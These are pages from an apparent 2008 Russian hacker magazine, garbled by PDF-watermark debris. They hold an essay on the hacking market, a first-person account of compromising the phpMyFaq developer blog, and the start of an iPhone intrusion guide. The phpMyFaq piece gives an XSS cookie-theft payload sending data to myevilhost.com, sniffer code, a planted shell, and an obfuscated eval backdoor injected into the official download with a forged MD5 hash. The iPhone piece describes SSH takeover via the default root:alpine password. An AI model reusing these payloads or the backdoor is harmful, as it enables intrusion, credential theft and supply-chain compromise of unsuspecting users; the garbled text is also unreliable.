Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
13.75 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.reverse-engineering.net — еще одно интернациональное хакерское сообщество

Нахакерскомрынке

Мы бродим среди стеллажей с товаром, то ныряя в подпольные склады, то выныривая обратно к слепящим витринам мега-корпораций. Кто все эти люди и чего им от нас нужно? Искателей крэков, вирусов, троянов и прочей нечисти мы (как уже говорилось) отбросим сразу. Пусть с ними имеют секс другие. Нас интересуют серьезные предложения от серьезных компаний, занимающихся легальным бизнесом.

Анализ коммерческого программного обеспечения на предмет поиска украденных фрагментов кода или несанкционированного использования патентованных алгоритмов — весьма популярная тема и суммы там фигурируют с тремя нулями сзади и двумя цифрами спереди. И все это в долларах, если не в евро. С юридической точки зрения, законы ряда стран запрещают дизассемблировать код, если на то нет соответствующего разрешения от правообладателя. Замечательно! У нас стырили алгоритм и теперь юзают его без выплаты отчислений, а мы даже не можем их прищемить. То есть, еще как можем! По российским законам дизассемблирование возможно и без получения разрешения, поэтому западные компании очень часто нанимают русских хакеров, чтобы поковыряться в коде конкурентов.

Найти похищенный бинарный модуль (пусть и хорошо запрятанный) — минутное дело, даже если он слегка изуродован. А вот с поиском алгоритмов дела обстоят гораздо сложнее. Хакер находится в кромешной тьме, совершенно не понимая, откуда начинать движение и что именно следует искать. Алгоритм (патентованный) — это ведь не пошаговая стратегия и вариантов реализации тут намного больше одного и все они завязаны на математику. На низком уровне (отдельных машинных команд) тут ловить нечего. Приходится абстрагироваться от деталей и рисовать запутанные диаграммы, отображающие ход выполнения программы в наглядной форме. Вот тут-то все патентованные (и непатентованные) алгоритмы и выплывают. Если, конечно, хакер распознает их среди нагромождений квадратиков и паутины стрелочек. Задача сложная, но хорошо оплачиваемая и представляющая собой настоящее испытание, что реально притягивает и завораживает. После этого «подъем» бинарного кода до компилируемых исходников покажется детской забавой. Вот только не надо пытаться сплавить клиенту результат работы Hex-Rays или другого декомпилятора. Во-первых, это

не есть исходные тексты, во-вторых, они не компилируются, а если даже и компилируются, то программа падает еще при запуске. Конечно, никто не требует снабжать каждую строку комментариями, но реконструированный исходный текст должен быть понятен прикладному программисту. Компиляторы (оптимизирующие) любят реализовать выделение памяти через умножение (у команды mul легко отловить переполнение, преобразовав указатель к нулю, сигнализирующему, что на память нас обломали) или выбрасывать исключение с помощью деления, причем не на нуль, а опятьтаки путем переполнения. В исходном коде ни умножения, ни деления, понятно, не ночевало. Там было тривиальное ветвление — проверка указателя на равенство нулю. Вот только современные процессоры ветвления не любят, и компиляторы стремятся избавиться от них везде, где это только возможно. Но это уже детали. В целом, ручная декомпиляция программы

Правильно настроенная XP способна отображать иероглифы где угодно

— дело простое (а потому и сравнительно низко оплачиваемое), но отнимающее кучу времени, что делает его малопривлекательным занятием для опытных хакеров. Иногда, вместо подъема программы до исходных текстов, предлагают «рипанье» бинарного кода с последующим оформлением его в виде динамической библиотеки с документированным интерфейсом, то есть с описанием прототипов всех функций. Оплачивается это еще хуже, однако, требует сравнительно немного времени. На вопрос, кому и зачем может потребоваться рипать код — лучше даже не искать ответа. Гораздо важнее, что рипанье само по себе ненаказуемо и правонарушение совершает тот, кто использует рипнутый код в своих продуктах, а потому частным требованием заказчика становится шифровка кода.

Особняком стоят тесты на проникновение и поиск уязвимостей. С одной стороны, это самый легальный вид хакерской деятельности из всех возможных, с другой же, если перечисленные выше способы дают гарантированный приход, то здесь оплачиваются только найденные дыры, которых может не быть вообще, а времени на поиск убито столько, что просто жалко становится. Короче, дыры — это для азартных игроков. Если отвлечься от негатива и посмотреть на мир глазами оптимиста — дыры есть практически везде и очень многие из них находятся буквально за считанные минуты (и это не преувеличение), особенно если методика поиска тобой уже отработана. Также неплохо идут на рынке реконструкции сетевых протоколов с интерфейсами динамических библиотек, форматов файлов и т.д. Существуют целые фирмы, специализирующие на создании игровых читов и ботов. Думаю, не стоит объяснять, что они остро нуждаются в хакерской помощи, правда, сотрудничать с ними… ну очень нудно. Как минимум, требуется толстый интернет-канал, позволяющий прокачивать гигабайты свежих игр. Игровой сервер, расположенный где-то там, требует к себе очень бережного обращения. При подозрении в хакерстве на IP-адрес выставляется бан, иногда захватывающий всю подсеть провайдера, а всякие прокси забанены уже давно. Вот и приходится пользоваться услугами разных провайдеров, привлекая к этому занятию друзей со всего мира, устанавливая на их компьютерах (по обоюдному согласию) тоннельные прокси. Весь интернет все равно не забанишь, но расходы… потраченное время… И все это — за какие-то 10k в месяц? А именно на такую сумму можно рассчитывать, работая на постоянной основе.

Хакервзаконе

Вылезти из подполья и перевести свою хакерскую деятельность на коммерческие рельсы — вполне возможно. Заказы будут. И их будет много. И никакого криминала. Правда, после выполнения некоторых видов работ (вполне легальных в России) в США можно будет въехать только чучелом или тушкой. Это, пожалуй, единственный серьезный недостаток хакерской деятельности. Причем, совершенно невозможно узнать заранее, имеет ли кто-то в Штатах на нас зуб или нет. Иногда хакеров хватают сразу при сходе с самолета и начинают предъявлять, даже если они сюда не хакерствовать приехали, а просто потусоваться на конференции.

На этот случай... нет, адвокатов мы оставим голливудским боевиками, но запомним телефоны российских посольств. Туда следует первым делом звонить при задержании (в США, как известно, задержанному разрешается сделать один телефонный звонок и лучше звонить в посольство, чем домашним, которых с перепугу может и Святой Кондратий хватить). Впрочем, здесь нет универсальных путей и нужно смотреть по ситуации. А ситуация такова — или хакерство, или Америка. Совместить эти две вещи без риска для здоровья — это нужно нереально крутым перцем быть. z

xàêåð 08 /116/ 08

049

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

МаГ

/ icq 884888 /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Троянский

конь

вphpMyFaq

История протроянивания популярного движка

Как-то раз я наткнулся в Гугле на сайт http://phpmyfaq.de. Это официальная страница движка для создания факов — PhpMyFaq (по аналогии со скриптом менеджера БД PhpMyAdmin). Заинтересовавшись, я решил проверить распространенность движка в инете. По запросу «phpmyfaq» поисковик выдал 828 000 результатов! И тут мне пришла безумная идея: что, если взломать официальный сайт движка, а затем протроянить архивы с PhpMyFaq своим php-шеллом?

Поиск путей проникновения

Для справки: PhpMyFaq— это многофункциональная web-система FAQ, написанная на PHP и использующая БД с поддержкой различных языков (в том числе и русского). При заходе на сайт в глаза сразу же бросается ссылка на devblog разработчиков, на который я, собственно, и перешел. Блог работал на моей любимой платформе WordPress :). Тут ты, наверняка, подумаешь: «Фу, вордпресс, его же может сломать даже ребенок!». Ничего подобного! Утверждение верно лишь для старых версий. В новых, чтобы взломать блог, приходится изрядно повозиться.

Итак, открыв html-исходник главной страницы блога, я увидел жизнеутверждающую надпись: «<meta name="generator" content="WordPress 2.3.3" />». На момент написания статьи это была одна из последних версий вордпресса. Полезных паблик-уязви-

мостей для нее не существует, но на каждую дверь всегда найдется своя отмычка! Немного поразмыслив, я вспомнил о недавнем баге в kses htmlфильтрах (опенсорс-библиотека, используемая во многих скриптах, в том числе и вордпрессе). Баг заключался в следующем: при проверке ссылок в комментариях (да и вообще, где угодно) kses-фильтры некорректно обрабатывают начало ссылки — протокол. По задумке разработчиков, kses-фильтр пропустит только ссылки, начинающиеся с http://, ftp://, mail://. Так оно и будет работать, но не всегда :). Путем вставки в линк урлдекодированного символа %0Bмы можем обойти это ограничение. То есть,

при постинге комментария с содержимым: <a href="%0Bjavascript: alert(document.cookie)">Click here</a> (%0B здесь нужно пропустить через urldecode()) на таргетной странице мы получим просто javascript-ссылку:

050

xàêåð 08 /116/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Админка девблога PhpMyFaq

<a href="javascript:alert(document.cookie)"> Click here</a>

Так что мне оставалось только закодировать evil-жаваскрипт, дабы избавить его от кавычек, поставить снифер на свой evil-хост и придумать такую ссылку, которую бы админы с удовольствием кликнули.

Перед взломом

Ядовитая строка у меня получилась такая:

window.location.href='http://myevilhost.com/

snif.php?id='+document.cookie;

Здесь: http://myevilhost.com/snif.php?id= — мой снифер,

принимающий входящие кукисы через параметр id. Его содержимое, скорее всего, тебе до боли знакомо:

<?php

$id = $_GET["id"];

$file = fopen('log.txt', 'a'); fwrite($file, $id ); fclose($file);

?> <script>history.go(-1)</script> Under construction

Полученные кукисы сразу же записываются в log.txt, и серфер перенаправляется обратно на страницу блога.

Далеебылонеобходимозашифроватьмоюядовитуюстрокувurlпредставление.Дляэтогоятакженабросалнехитрыйскрипт:

<?php

$str2hex = urldecode("window.location. href='http://myevilhost.com/snif. php?id='+document.cookie;");

$returnstr=''; for($i=0;$i<strlen($str);$i++)

{

if($str[$i]=='&')

{

$returnstr .= "$str[$i]";

}

else

{

$hex=dechex(ord($str[$i]));

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

>> взломto BUY

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Троянская лошадь пашет :)

$returnstr .= "%$hex";

}

}

print $returnstr; ?>

На выходе получилась строка урл-кодированных символов, из которой я и составил свой мега-комментарий (%0B, конечно же, раскодировал перед постингом):

Help me! My PhpMyFaq installation does not work correctly :(

<a href="%0Bjavascript:%77%69%6e%64%6f%77%2e %6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%2 7%68%74%74%70%3a%2f%2f%6d%79%65%76%69%6c%68% 6f%73%74%2e%63%6f%6d%2f%73%6e%69%66%2e%70%68 %70%3f%69%64%3d%27%2b%64%6f%63%75%6d%65%6e%7 4%2e%63%6f%6f%6b%69%65%3b">my faqdesc</a>

И, как ни странно, отзывчивые разработчики «пхпмайфака» буквально на следующий день кликнули по моей ссылке.

Проникновение

Проснувшись, я сразу полез на свой дедик проверять log.txt и увидел в нем жизнеутверждающую строку:

wordpressuser_1307522524cd4b36efbb9978596d4 5d7=support;wordpresspass_1307522524cd4b36e fbb9978596d45d7=0c90dc4b44d73f4122933f2b17b f3db7

Видимо, это были кукисы одного из админов блога :).

Теперь мне оставалось только вставить их в Оперу. Что я и сделал с помощью встроенного редактора кукисов (Инструменты Дополнительно Cookies). Зайдя в админку блога http:// devblog.phpmyfaq.de/wp-admin, я убедился, что полученные кукисы были действительно админские, так как никакого урезания прав даже близко не наблюдалось. Отсюда я пошел в раздел управления плагинами и убедился, что админам вообще не знакомо понятие безопасности. Единственный плагин блога — Akismet(антиспам-плагин) — был открыт на запись (впоследствии выяснилось, что абсолютно все файлы на сервере доступны для записи), чем я немедленно и воспользовался, вставив в его код шелл собственного написания. Теперь он был доступен по адресу http://devblog.phpmyfaq.de/ wp-admin/?popa. Далее я стал искать дистрибутивы PhpMyFaq для скачивания. Таковые нашлись на пару директорий выше в

./../../download. Последней стабильной версией движка был phpmyfaq-2.0.7.zip. Его-то я и решил протроянить :). Для этой нехитрой цели я установил скрипт на свой локалхост и наобум взял один файл для опытов — ./inc/functions.

links www.securityfocus. com/ archive/1/490402

— описание уязвимости в kses-фильтрах.

warning

Маська! Будь моей женой!

Маг

warning

Информация предоставляется исключительно к размышлению. Никакая часть статьи не может быть использована во вред. В обратном случае ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный вашими действиями.

xàêåð 08 /116/ 08

051

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Архивы с дистрибутивами PhpMyFaq

php. Теперь нужно было лишь придумать механизм, уведомляющий о том, что новая жертва устанавливает протрояненный дистрибутив себе на хост

— и похитрее его замаскировать (и сам шелл, само собой). Неплохо было бы сделать так, чтобы во время установки движка какой-нибудь служебный файл (пустой) записывался в /tmp, а на мое мыло приходил бы отчет с адресом жертвы. Файл в /tmp нужен был, чтобы мыло не приходило каждый раз, когда кто-нибудь зайдет на страницы скрипта :).

И я взялся за программную реализацию.

Кодинг

Вышеизложенные идеи я уместил всего лишь в нескольких строчках кода:

if(!is_file("/tmp/sess_php001")) { mail("Moe_milo@ mail.ru", "New shell of PhpMyFaq ".getenv("SERVER_ NAME").getenv("SCRIPT_NAME"), getenv(«SERVER_ NAME»).getenv("SCRIPT_NAME")); } $fp=fopen("/tmp/ sess_php001","w"); fputs($fp,1); fclose($fp); isset($_GET[viewnewest]) ? eval(trim(stripslashes($_ GET[viewnewest]))) : "";

Объясняю: если файла /tmp/sess_php001не существует, скрипт шлет мыло на мой адрес с урлом жертвы, затем создает файл /tmp/sess_ php001. Если существует параметр $_GET[viewnewest], то он исполняется, как php-код. Все гениальное просто :).

Теперь мой код необходимо было зашифровать. Я поступил с ним так:

1.Пропустил через base64_encode();

2.Перевел все полученные символы в chr-представление

$returnstr=''; for($i=0;$i<256;$i++)

{

$arr[chr($i)]=$i;

}

for($i=0;$i<strlen($str);$i++)

{

$i!=(strlen($str)-1) ? $returnstr .= $arr[substr( $str,$i,1)].',' : $returnstr .=

$arr[substr($str,$i,1)];

}

print $returnstr;

3.Сериализовал строку с помощью serialize();

4.Закодировал в урл-представление с помощью urlencode();

5.Случайным образом разбил строку в массив.

В результате этих извращений получилось что-то вроде:

array('a%3A444%3A%7Bi%3A0%3Bi%3A68%','3Bi%3A1%3Bi%3A81

%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%',

.......

'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%

3Bi%3A78%3Bi')

052

xàêåð 08 /116/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Мыло с отчетом о свежеустановленном движке-шелле

Троянский конь в functions.php

Ты смог бы расшифровать такое? :) Имхо, любой кодер просто забьет на такую строку, если вдруг случайно увидит ее.

Затем последовали финальные штрихи. В файл functions.php, а

именно — в function mkts($datum=false,$zeit=false), я вставил следующий код, который расшифровывал и исполнял мою очередную evilстроку:

$cleanurl=array('a%3A444%3A%7Bi%3A0%3Bi%3A68%', '3Bi%3 A1%3Bi%3A81%3Bi%3A2%3Bi%3A112%3Bi%3A3%3Bi%3A112%',

.......

'i%3A122%3Bi%3A28%3Bi%3A90%3Bi%3A29%3Bi%3A88%3Bi%3A30%

3Bi%3A78%3Bi');

$cleanstring = '';

for ($i = 0;$i < count($cleanurl);$i++)

{

$cleanstring .= $cleanurl[$i];

}

$cleanstring = unserialize(urldecode($cleanstring)); $cleanurl = '';

for ($i = 0;$i < count($cleanstring);$i++)

{

$cleanurl .= chr($cleanstring[$i]);

}

eval(base64_decode($cleanurl));

В том же скрипте я преднамеренно создал вызов функции mkts().

Левел комплит!

Зановоперепаковавархив phpmyfaq-2.0.7.zip,язалилеговдиректо- рию downloads иизменилвремямодификациифайлаобратнона May 12 08:41 командой touch -t 200805120841.10 phpmyfaq-2.0.7.zip.

Оставалосьпоколдоватьнадсоседнимфайломphpmyfaq-2.0.7.zip.md5, которыйсодержалmd5 хэшархивапредыдущейнепротрояненной версиискриптавформате«2f2f51ed114bf512e57fc76b7ecbd39c *phpmyfaq-2.0.7.zip».Новыйхэшархива(c4838a94897d9840ea d97050c6dc1a46),полученныйспомощьювстроеннойвphpфункции md5file(),яизаписалвместостарого!Незабылизменитьивремямодификациивторогофайла.Послеэтойнехитройоперациипротрояниванияко

Главная страница http://phpmyfaq.de

мненамылопостоянноприходятссылкинановыешеллы.Что,вобщем-то, мнеитребовалось.Атебепожелаюбытьоченьвнимательнымсопенсорс- нымидвижками.Нея,таккто-нибудьдругойсможетнезаметноподсунуть тебетроянскогоконявкрасивойобертке.Конец:).z

Троянывнутри

Те,ктоустановилпротрояненныйдистрибутивксебенахост,понем- ногусталиподозреватьчто-тонеладное.Наофициальномфоруме движкаhttp://forum.phpmyfaq.de зачастуюможноувидетьтопики следующегосодержания:

Привет, моя версия phpmyfaq, которую я скачал с вашего сайта, выдает следующий бред:

Warning: mail() [function.mail]: SMTP server response: 550 <moe_milo@mail.ru>... Recipient unknown in directory\phpmyfaq\inc\functions. php(1504) : eval()’d code on line 4

Warning: fopen(/tmp/sess_php001) [function.fopen]: failed to open stream: No such file or directory

in directory\phpmyfaq\inc\functions.php(1504) : eval()’d code on line 6

Warning: fputs(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\ functions.php(1504) : eval()’d code on line 7 Warning: fclose(): supplied argument is not a valid stream resource in directory\phpmyfaq\inc\ functions.php(1504) : eval()’d code on line 8 Thanks in advance.

Мыло в этом сообщении выглядит подозрительно, что делать?

Воизбежаниепроисковтакихподозрительныхличностейсвклю- ченнымphpsafe-modeикастрированнымsendmail’омяубралсвой злонамеренныйкодиздистрибутивазаномером2.0.7ивставилего потойжетехнологиивдистрибутив1.6.Скачиваютегоменьшеи, соответственно,режезамечаютчто-тонеладное.Будьосторожен,если вдругзахочешьпоставитьсебеPhpMyFaqверсии1.6!Хотяинасчет 2.0тоженемогуобещать,чтовскоромвремениневставлютудачтонибудьнехорошее:).

xàêåð 08 /116/ 08

053

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Полумрак

/ polumrak@me.com /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Взлом телефонов от Apple

С лета прошлого года в Россию ввезли и разлочили больше 500 000 iPhone’ов. Учитывая массовое распространение и достаточно интересное внутреннее устройство этого гаджета, мы решили провести анализ его безопасности и выяснили, что почти любой iPhone можно взломать удаленно

за несколько минут!

Welcome to Darwin

МногиеотносятсякiPhoneкакктелефонудляблондинок.Он,иправда, нравитсяблондинкам,ноработаетприэтомподуправлениемабсолютно полноценнойUnix-операционки.МобильнаяOSXизготавливаетсяизна- стольнойMacOSX,которая,всвоюочередь,являетсясовременнойверсией системыBSD-семействаNeXTSTEP,увидевшейсветзапятьлетдоядра

Linux—в1986году.

Инженеры Apple удалили из операционки iPhone почти все консольные утилиты, однако при установке OpenSSH на взломанный iPhone требуется поставить еще и пакет с BSD-окружением, так что тебя встретит компания старых друзей: от curl, scp и zsh до tar, bzip2 и gunizp.

Как и в любой Unix-системе, в мобильной Mac OS X есть суперпользователь с именем root и паролем, которым чаще всего по умолчанию является строка «alpine».

Шесть букв в одном регистре — обычно плохая идея для пароля root, но в обычном, не взломанном, iPhone вводить этот пароль некому и некуда. Он мог бы быть любым, и ничего бы не изменилось.

В России, разумеется, все iPhone взломаны, и на большинстве этих взломанных телефонов установлен OpenSSH — как единственный способ получить доступ к файловой системе. Когда-то это было стандартным этапом взлома и активации.

Таким образом, мы получаем очень забавную картину: почти к любому айфону в России можно удаленно подключиться по ssh с дефолтовой записью root:alpine и получить неограниченные возможности в управлении. Заставить телефон звонить и отправлять SMS — легко. Украсть базу с SMS, записную книжку, фотографии — еще проще. Вообще, можно сделать все, что угодно.

Обнаружение

Практическую часть экспериментов мы начнем с этапа, который называется «обнаружение». Ведь нужно знать, куда подключаться: к какому ip-адресу. Вообще говоря, у iPhone два сетевых интерфейса: Wi-Fi (en0, согласно ifconfig) и GPRS (PPP-интерфейс ip1, согласно тому же ifconfig). Для взлома лучше взаимодействовать с телефоном по Wi-Fi: GPRS пролегает по территории сотового провайдера и, к тому же, это очень медленный протокол. Между тем, временидлявзломаобыч-

нонемного — iPhone любит поспать, и в режиме ожидания (standby mode) практически все процессы (твоя ssh-сессия, запущенный тобой процесс, даже запланированные по cron процессы) ставятся на паузу и возобновляются только после того, как владелец достанет телефон из кармана и разбудит его. Батарейку это экономит, а нервы может подсадить.

054

xàêåð 08 /116/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Можно придумать схему со сканированием всего доступного IP-диапазона какого-нибудь сотового провайдера или с регистрацией IP-адресов пользователей MobileSafari, зашедших на специально заведенный сайт — но все это лучше отложить на скучные зимние вечера. Куда быстрее и веселее увидеть человека, задумчиво гладящего на экран своего телефона в офисе или кафе с открытой WiFi-сетью. Обнаружить iPhone с помощью nmap — элементарно. Запусти сканирование стандартным образом (например, nmap-O 10.0.0.*) и увидишь в списке прочих хостов вот такие записи:

Not shown: 1714 closed ports PORT STATE SERVICE 22/tcp open ssh

MAC Address: XX:XX:XX:XX:XX:XX (Apple) Device type: phone|media device Running: Apple embedded

OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1)

Конечно,сканироватьвсюподсетьсключом-O—долгои утомительно.Правильнеебылобыпройтисьпонейбезключа -OитолькопотомопределитьОСнахостахсоткрытым22 ым портом.Ноиэтонесамыйрациональныйспособ.НавзломанномiPhoneзапущеннетолькоsshd,ноиmDNSResponder (ZeroconfотApple).ТоестьпривходевсетьiPhoneоповещает всехприсутствующихотом,какиесервисыонпредоставляет. Достаточнозапустить,кпримеру,SFTP-клиентсподдержкой

Bonjour(допустим,CyberduckподMacOSX),ионизвеститтебя опоявленииновогохоставсети.Болеетого,mDNSResponder доступенввидеисходников,портированнаLinuxинаWindows, иеголегкоиспользоватьдляавтоматизациипроцессапоискаи проверкивсехпоявившихсявсетителефонов.

Еще о системе

